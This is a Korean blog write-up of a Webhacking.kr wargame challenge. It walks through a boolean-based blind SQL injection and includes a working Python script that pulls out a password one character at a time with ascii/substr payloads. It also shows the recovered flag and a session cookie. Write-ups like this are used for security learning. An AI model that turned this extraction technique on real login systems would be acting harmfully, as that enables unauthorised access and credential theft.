이름부터 블라인드 인젝션이다
pw에 아무값이나 막 넣어보면 1'or'1을 넣었을때는 "Result : wrong password"가 나오고 아무값이나 넣었을때는 "Result : login fail"가 나오는것을 알 수 있다. 그러면 질의문이 참일때만 wroing password가 나오므로 이걸 통하여 블라인드 인젝션을 할 수 있을 것 같다.
mysql에서 ascii함수는 문자열을 아스키 코드로 바꾸어 주고 substr(a,b,c)는 a라는 문자열에서 b번째부터 c만큼의 문자열을 뽑는다는 뜻이다.
이를 이용하면 코드를 짤 수 있다.
import requests
url = "https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {'PHPSESSID': '3mk3gag6h5vebne9qfp65k3qiu'}
flag = ""
for i in range(1,100):
for j in range(65,128):
a = f"?id=admin&pw=0'or ascii(substr(pw,{i},1))={j}%23"
b = requests.get(url + a, cookies=cookie)
# print(url+a)
if "wrong password" in b.text:
flag+=chr(j)
break
print(flag)
#을 %23으로 인코딩해야되는지 몰라서 하루 날렸다..
다 뽑아보면 ghere_is_no_rest_for_the_white_angel이 문자열이 나오는데 이걸 인증하면 login fail이 뜬다
혹시 몰라서 g를 t로 바꾸고 인증했더니 풀렸다.
'Hacking > Webhacking.kr' 카테고리의 다른 글
Webhacking.kr - 26 (0) | 2021.05.28 |
---|---|
Webhacking.kr - 25 (0) | 2021.05.28 |
Webhacking.kr - 19 (0) | 2021.05.28 |
Webhacking.kr - 18 (0) | 2021.05.28 |
Webhacking.kr - 16 (0) | 2021.05.28 |